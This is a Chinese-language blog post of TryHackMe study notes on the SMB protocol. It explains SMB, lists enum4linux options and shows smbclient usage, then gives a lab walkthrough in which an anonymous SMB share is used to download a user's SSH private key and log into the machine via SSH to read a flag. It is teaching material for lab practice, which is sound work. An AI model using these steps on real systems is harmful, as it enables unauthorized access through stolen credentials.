THM学习笔记——SMB

理解SMB

SMB - 服务器消息块协议 - 是一种用于在网络上共享对文件、打印机、串口和其他资源的客户端-服务器通信协议。

服务器将文件系统和其他资源(打印机、命名管道、API等)提供给网络上的客户端。客户端计算机可能有自己的硬盘,但它们也希望访问服务器上共享的文件系统和打印机。

SMB协议被称为响应-请求协议,这意味着它在客户端和服务器之间传输多个消息以建立连接。客户端使用TCP/IP(实际上是在RFC1001和RFC1002中规定的NetBIOS over TCP/IP)、NetBEUI或IPX/SPX连接到服务器。

一旦建立了连接,客户端就可以向服务器发送命令(SMB),允许它们访问共享、打开文件、读写文件,以及通常与文件系统进行交互的所有操作。然而,在SMB的情况下,这些操作是通过网络完成的。

自Windows 95以来,Microsoft Windows操作系统已经包括客户端和服务器SMB协议支持。Samba是一个支持SMB协议的开源服务器,适用于Unix系统。

枚举SMB

枚举是收集有关目标信息的过程,旨在找到潜在的攻击向量并帮助进行利用。

这个过程对于攻击的成功非常关键。枚举可以用于收集用户名、密码、网络信息、主机名、应用程序数据、服务或对攻击者有价值的任何其他信息。

通常,服务器上有可以连接并用于查看或传输文件的SMB共享驱动器。

枚举的第一步是进行端口扫描,以尽可能多地了解目标机器的服务、应用程序、结构和操作系统信息。

Enum4Linux是一种用于在Windows和Linux系统上枚举SMB共享的工具。

Enum4Linux的语法:"enum4linux [选项] IP"

  1. -a, --all: 执行所有可用的枚举。

  2. -U, --user: 获取用户列表。

  3. -M, --machine: 获取关于目标机器的一般信息。

  4. -n, --names: 获取NetBIOS名称信息。

  5. -S, --shares: 列出SMB共享。

  6. -P, --ports: 获取目标机器上开放的端口。

  7. -G, --group: 获取组列表。

  8. -d, --debug: 输出调试信息,帮助识别问题。

  9. -h, --help: 显示帮助信息,列出可用的选项。

利用SMB

我们可以使用以下语法远程访问SMB共享:smbclient //[IP]/[SHARE]

接着使用以下标签:

  • -U [name]:指定用户名

  • -p [port]:指定端口

例:What is the smb.txt flag?

1.nmap 10.10.102.96        //ssh open

2.enum4linux 10.10.102.96        //profiles:通常用于描述包含用户个性化设置、首选项和配置信息的文件或数据集。

3.smbclient //10.10.102.96/profiles        //匿名登录

anonymous        //匿名

ls

cd .ssh

ls

mget id_rsa        //下载id_rsa

more id_rsa.pub        

chmod 600 id_rsa        // 修改权限为600

ls -l        //以长格式显示文件和目录信息,包括权限、所有者、大小、创建时间等。

ssh cactus@10.10.10296 -i id_rsa

ls

more smb.txt

  • 22
    点赞
  • 22
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值